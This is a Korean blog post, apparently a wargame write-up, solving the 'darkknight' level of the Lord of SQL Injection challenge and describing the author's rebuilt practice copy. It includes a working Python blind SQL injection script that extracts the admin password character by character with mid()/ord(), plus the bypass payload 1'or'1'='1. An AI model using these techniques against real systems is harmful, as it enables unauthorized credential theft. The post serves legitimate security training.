Notice
Recent Posts
Recent Comments
Link
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | 5 | 6 | 7 |
8 | 9 | 10 | 11 | 12 | 13 | 14 |
15 | 16 | 17 | 18 | 19 | 20 | 21 |
22 | 23 | 24 | 25 | 26 | 27 | 28 |
29 | 30 | 31 |
Tags
- UKPT level
- 화학물질안전원
- 대외활동
- 국정원
- nurisec
- 도구모음
- 여행
- webhacking
- Service
- 12기
- 정보보안
- 국가기록원
- Los
- 불법유통
- 프로젝트
- 경기팀
- HTML
- codeup
- 연구모임
- PHP
- MITRE ATT&CK
- 불법유통근절
- 국가정보원
- 화학물질불법유통온라인감시단
- 파이썬
- 화학물질
- 웹 해킹 입문
- UKPT
- suninatas
- 기타정보
Archives
- Today
- Total
agencies
[프로젝트] LOS v0.2 본문
LOS의 문제 내용입니다.
darkknight 이며, 문제풀이 내용은 아래와 같습니다.
import requests as r
url = "https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php?no=1%20or%20id%20like%20reverse(%22nimda%22)%20and%20"
i=8
flag = ""
#패스워드 검사
for j in range(1,i+1):
for k in range(ord('0'), ord('z')):
p = "ord(mid(pw,{0},1))like {1}%23".format(j,k)
res = r.get(url+p,cookies={"PHPSESSID":"vgjb9eaaankiq042bvju3up9ll"})
if "Hello admin" in res.text:
flag+=chr(k)
print("The password is :",flag)
break
substring / substr 과 ascii가 막혔기 때문에
mid와 ord 함수를 사용하기로 했습니다.
입력을 받는 부분은 pw와 no 부분인데 no부분이 최종 쿼리문이기 때문에, pw부분은 아무것도 입력하지 않았습니다.
LOS 프로젝트에서도 벌써 12탄까지 구축했습니다.
* 테이블이 한개인 점을 감안해서 항상 사용자의 이름을 추가하고 변경을 해 주는 작업을 하고 있습니다.
los에서 제공하는 필터링 부분도 동일하게 구축합니다.
패스워드 입력란에 _가 들어가기 때문에 어쩔 수 없이 preg_match에서 _를 제외할 수밖에 없었습니다.
그럼 패스워드에 _를 없애
// one table set issue 부분에서는
user_table에 있는 첫 번째 사용자는 admin이므로 항상 1'or'1'='1 을 입력할 시 출력이 됩니다.
이를 방지하고자 사용자 계정을 추가를하고 있으며,
쿼리문을 해당 문제 레벨에서 추가되는 사용자가 아니라면 플래그가 출력되지 않습니다.
// show query 부분에서는 사용자가 입력한 쿼리문이 화면에 보이며
나머지는 html상으로 보이는 내용입니다.
'Ⅲ. 정보보안' 카테고리의 다른 글
해커스쿨 강좌실 : SQL Injection for Expert (rubiya) (0) | 2024.03.11 |
---|---|
LOS assassin 문제 풀이 (0) | 2024.03.10 |
LOS 문제풀이 : orge (0) | 2024.03.09 |
[프로젝트] LOS v0.1 (0) | 2024.03.09 |
[프로젝트] 홈페이지 구축 (로그인 설정) v0.8 (0) | 2024.03.02 |